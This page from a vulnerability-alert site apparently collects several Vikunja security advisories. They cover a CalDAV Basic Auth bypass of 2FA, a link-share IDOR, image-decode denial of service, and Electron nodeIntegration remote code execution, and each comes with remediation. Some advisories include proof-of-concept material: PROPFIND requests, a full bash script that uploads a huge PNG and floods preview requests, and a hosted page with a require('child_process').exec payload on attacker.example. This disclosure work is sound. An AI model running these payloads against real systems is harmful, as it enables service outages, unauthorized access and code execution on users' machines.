Impact A small crafted upload drives disproportionate CPU and memory on the avatar and background paths. Repeated or concurrent requests can exhaust server resources. Amplification comes from both the missing input pixel cap and the height-fixed resize, so an input-side cap alone is insufficient.

Fix Apply a pixel-dimension cap (as on the attachment path) to the avatar and background decode paths, and bound the resize output dimensions (cap width as well as height).

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.08%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc.

Details The two files below show that when a user is accessing Caldav via Basic Authentication, it skips all steps involving 2FA. The order of operations is essentially: 1. Retrieve basic credentials. 2. Verify username. 3. Verify password. 4. Success

pkg/routes/caldav/auth.go:45 go u, err := checkUserCaldavTokens(s, credentials) if user.IsErrUserDoesNotExist(err) { return false, nil } if u == nil { u, err = user.CheckUserCredentials(s, credentials) if err != nil { log.Errorf("Error during basic auth for caldav: %v", err) return false, nil } }

pkg/user/user.go:358 go func CheckUserCredentials(s xorm.Session, u Login) (User, error) { // Check if we have any credentials if u.Password == "" || u.Username == "" { return nil, ErrNoUsernamePassword{} }

// Check if the user exists user, err := getUserByUsernameOrEmail(s, u.Username) if err != nil { // hashing the password takes a long time, so we hash something to not make it clear if the username was wrong , = bcrypt.GenerateFromPassword([]byte(u.Username), 14) return nil, ErrWrongUsernameOrPassword{} }

if user.Issuer != IssuerLocal { return user, &ErrAccountIsNotLocal{UserID: user.ID} }

// The user is invalid if they need to verify their email address if user.Status == StatusEmailConfirmationRequired { return &User{}, ErrEmailNotConfirmed{UserID: user.ID} }

// Check the users password err = CheckUserPassword(user, u.Password) if err != nil { if IsErrWrongUsernameOrPassword(err) { handleFailedPassword(user) } return user, err }

return user, nil }

PoC 1. Setup a Docker instance of Vikunja v2.1.0 and create an account. Enable 2FA on the account. <img width="1506" height="646" alt="CleanShot 2026-03-16 at 15 30 24@2x" src="https://github.com/user-attachments/assets/e88522af-4333-4758-8ba4-3e34de9680f7" />

2. Logout of the account. 3. Using a web proxy, such as Burp Suite, craft an HTTP request to the endpoint similar to the one shown below. Ensure that the 2FA-enabled user's username and password is properly Base64-encoded and inserted into the Authorization header.

http PROPFIND /dav/principals/ HTTP/1.1 Host: 127.0.0.1:3456 Authorization: Basic {{ REDACTED }} [ TRUNCATED ]

<?xml version="1.0"?><d:propfind xmlns:d="DAV:"><d:prop><d:displayname/><d:resourcetype/></d:prop></d:propfind> 5. Observe that the response contains authenticated user information. http HTTP/1.1 207 Multi-Status Content-Type: text/xml; charset=utf-8 Vary: Accept-Encoding Date: Mon, 16 Mar 2026 19:31:47 GMT Content-Length: 398

<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:" xmlns:C="urn:ietf:params:xml:ns:caldav" xmlns:CS="http://calendarserver.org/ns/"><D:response><D:href>/dav/projects</D:href><D:propstat><D:prop><D:displayname>projects</D:displayname> [ TRUNCATED ] 6. Other requests can then be crafted to retrieve more information about a specific project, such as the one below. http PROPFIND /dav/projects/1/{{ PROJECT NAME }}/ HTTP/1.1 Host: 127.0.0.1:3456 Authorization: Basic [ REDACTED ] [TRUNCATED]

<?xml version="1.0"?><c:calendar-query xmlns:d="DAV:" xmlns:c="urn:ietf:params:xml:ns:caldav"><d:prop><d:getetag/><c:calendar-data/></d:prop><c:filter><c:comp-filter name="VCALENDAR"><c:comp-filter name="VTODO"/></c:comp-filter></c:filter></c:calendar-query>

http HTTP/1.1 207 Multi-Status Content-Type: text/xml; charset=utf-8 [ TRUNCATED ]

[ TRUNCATED ] <D:prop><C:calendar-data>BEGIN:VCALENDAR&#xA;VERSION:2.0&#xA;X-PUBLISHED-TTL:PT4H&#xA;X-WR-CALNAME:Inbox&#xA;PRODID:-//Vikunja Todo App//EN&#xA;BEGIN:VTODO&#xA;UID:8gb6eclz-dad5-4a38-80a8-09005707eb51&#xA;DTSTAMP:20260316T190905Z&#xA;SUMMARY:test&#xA;DESCRIPTION:&lt;p&gt;description&lt;/p&gt;&#xA;CREATED:20260301T203712Z&#xA;LAST-MODIFIED:20260316T190905Z&#xA;BEGIN:VALARM&#xA;TRIGGER;VALUE=DATE-TIME:20260316T130000Z&#xA;ACTION:DISPLAY&#xA;DESCRIPTION:test&#xA;END:VALARM&#xA;END:VTODO&#xA;END:VCALENDAR</C:calendar-data></D:prop><D:status>HTTP/1.1 200 OK [ TRUNCATED ]

Impact Any user that has 2FA enabled could have it bypassed, allowing attacker access to a lot of the user's project information.

Remediation If there are 2FA barriers to access an account in a specific fashion, all integrations should follow those if they're using the same methods of authentication. The easiest path is probably to disable Basic Authentication for Caldav by default, but keep the token access enabled, that way users can generate tokens specifically for Caldav if they want to use that feature. Basic Auth for it could be kept, but would most likely want to be a feature flag or something along those lines. That's so users can turn it on if it's necessary, but can be notified in the documentation that it's a more unsafe pattern if 2FA is enabled.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The DELETE /api/v1/projects/:project/shares/:share endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID.

Details

The permission check in canDoLinkShare (pkg/models/linksharingpermissions.go:53-70) validates admin access on the project from the :project URL parameter. However, the Delete method at pkg/models/linksharing.go:305 queries only WHERE id = ? using the share ID, without verifying it belongs to the URL-specified project:

go func (share LinkSharing) Delete(s xorm.Session, web.Auth) (err error) { , err = s.Where("id = ?", share.ID).Delete(share) return }

This is the same vulnerability class as GHSA-jfmm-mjcp-8wq2 (task attachment IDOR) and the fixed GHSA-mr3j-p26x-72x4 (task comment IDOR).

Additionally, ReadOne at line 203 has the same pattern (WHERE id = ? only), though it is not currently exploitable because CanRead fails first due to an unrelated issue with the hash parameter binding.

Impact

An authenticated user with admin access to any project can: - Delete link shares belonging to any other project in the system - Disrupt collaboration by removing shared access links - Link share IDs are sequential integers, making enumeration trivial

Reproduction

1. User A creates Project A and a link share on it (share ID = X) 2. User B creates Project B (gaining admin access) 3. User B calls DELETE /api/v1/projects/{projectBid}/shares/{X} 4. The permission check passes (User B is admin on Project B) 5. The delete executes WHERE id = X — deleting User A's link share

Recommended Fix

Change Delete at pkg/models/linksharing.go:305 to:

go , err = s.Where("id = ? AND projectid = ?", share.ID, share.ProjectID).Delete(share)

Also fix ReadOne at line 203 as defense in depth.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary - Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. - Affected code: - Decoding without bounds: taskattachment.go:GetPreview - Resizing path: resizeImage - Endpoint invoking preview: GetTaskAttachment - Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service. - CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Preconditions - API running locally (http://localhost:8080). - Task attachments enabled: taskattachmentsenabled=true in Info. - Any authenticated user with write access to a task.

How It Works - Preview generation decodes the full image via image.Decode and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize. - The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember.

Run The POC - Script: sh #!/usr/bin/env bash set -euo pipefail

BASEURL="${BASEURL:-http://localhost:8080}" USERNAME="${USERNAME:-dosuser}" EMAIL="${EMAIL:-dosuser@example.com}" PASSWORD="${PASSWORD:-StrongPass123!}" PROJECTTITLE="${PROJECTTITLE:-poc-dos-preview}" TASKTITLE="${TASKTITLE:-DoS preview test}" OUTDIR="${OUTDIR:-/tmp/vikunja-poc-dos}"

mkdir -p "$OUTDIR"

echo "[+] Checking instance info" curl -sS "$BASEURL/api/v1/info" | tee "$OUTDIR/info.json" >/dev/null if ! grep -q '"taskattachmentsenabled":true' "$OUTDIR/info.json"; then echo "[!] Task attachments disabled" exit 1 fi

echo "[+] Registering user (may already exist)" curl -sS -X POST "$BASEURL/api/v1/register" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \ | tee "$OUTDIR/register.json" >/dev/null || true

echo "[+] Logging in" curl -sS -X POST "$BASEURL/api/v1/login" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \ | tee "$OUTDIR/login.json" >/dev/null TOKEN="$(sed -n 's/."token"[[:space:]]:[[:space:]]"\([^"]\)"./\1/p' "$OUTDIR/login.json")" if [ -z "$TOKEN" ]; then echo "[!] Failed to get token" exit 1 fi

echo "[+] Creating project" curl -sS -X PUT "$BASEURL/api/v1/projects" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$PROJECTTITLE"'"}' \ | tee "$OUTDIR/project.json" >/dev/null PROJECTID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUTDIR/project.json")" if [ -z "$PROJECTID" ]; then echo "[!] Failed to get project id" exit 1 fi

echo "[+] Creating task" curl -sS -X PUT "$BASEURL/api/v1/projects/$PROJECTID/tasks" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$TASKTITLE"'"}' \ | tee "$OUTDIR/task.json" >/dev/null TASKID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUTDIR/task.json")" if [ -z "$TASKID" ]; then echo "[!] Failed to get task id" exit 1 fi

echo "[+] Generating 10000x10000 PNG payload" python3 - <<'PY' from PIL import Image img = Image.new('RGB', (10000,10000), color=(0,0,0)) img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True) PY file "$OUTDIR/huge.png" || true ls -lh "$OUTDIR/huge.png" || true

echo "[+] Uploading attachment" curl -sS -X PUT "$BASEURL/api/v1/tasks/$TASKID/attachments" \ -H "Authorization: Bearer $TOKEN" \ -F "files=@$OUTDIR/huge.png" \ | tee "$OUTDIR/attach.json" >/dev/null ATTACHMENTID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUTDIR/attach.json")" if [ -z "$ATTACHMENTID" ]; then echo "[!] Failed to get attachment id" exit 1 fi

echo "[+] Requesting preview (xl)" /usr/bin/time -l curl -sS -o "$OUTDIR/previewxl.png" \ "$BASEURL/api/v1/tasks/$TASKID/attachments/$ATTACHMENTID?previewsize=xl" \ -H "Authorization: Bearer $TOKEN" 2> "$OUTDIR/timexl.txt" du -h "$OUTDIR/previewxl.png" || true file "$OUTDIR/previewxl.png" || true echo "[+] Timing and memory (from /usr/bin/time):" cat "$OUTDIR/timexl.txt" || true

echo "[+] Parallel preview requests (cache warm) x10" seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{timetotal}\n' -o /dev/null \ '$BASEURL/api/v1/tasks/$TASKID/attachments/$ATTACHMENTID?previewsize=xl' \ -H 'Authorization: Bearer $TOKEN'" | tee "$OUTDIR/paralleltimes.txt" >/dev/null echo "[+] Done. Outputs in $OUTDIR"

- Uses curl and python3 (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.

Steps 1. Ensure the API is running on http://localhost:8080. 2. Execute: bash pocs/image-preview-dos/poc.sh 3. Outputs of interest: - /tmp/vikunja-poc-dos/timexl.txt: /usr/bin/time -l timing and memory for the preview request. - /tmp/vikunja-poc-dos/paralleltimes.txt: 10 parallel preview times with cache warmed. - /tmp/vikunja-poc-dos/previewxl.png: Generated 800×800 preview.

Environment Overrides - BASEURL: API base (default http://localhost:8080) - USERNAME, EMAIL, PASSWORD: credentials for the test user - PROJECTTITLE, TASKTITLE: names for test artifacts - OUTDIR: output directory (default /tmp/vikunja-poc-dos)

Expected Results - First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image. - Subsequent requests are faster due to caching. - Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.

Remediation - Enforce bounds prior to decode: - Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M). - Fail early by reading headers to extract dimensions before full decode. - Add per-user and per-attachment rate limiting for preview generation. - Pre-generate previews asynchronously with throttling and backpressure. - Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.

Notes - This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.38%
Code Injection, XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, childprocess, fs, etc.).

2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by: - <a href="https://..."> links (without target="blank") - window.location assignments - HTTP redirects - <meta http-equiv="refresh"> tags

Attack scenario

1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a> 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process. 6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('childprocess').exec('id > /tmp/pwned'); 7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a> 3. Host poc.html with: <script>require('childprocess').exec('calc.exe')</script> 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

First published (updated )
Severity
6.5
EPSS
0.44%
Code Injection, XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the renderer process without contextIsolation or sandbox. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203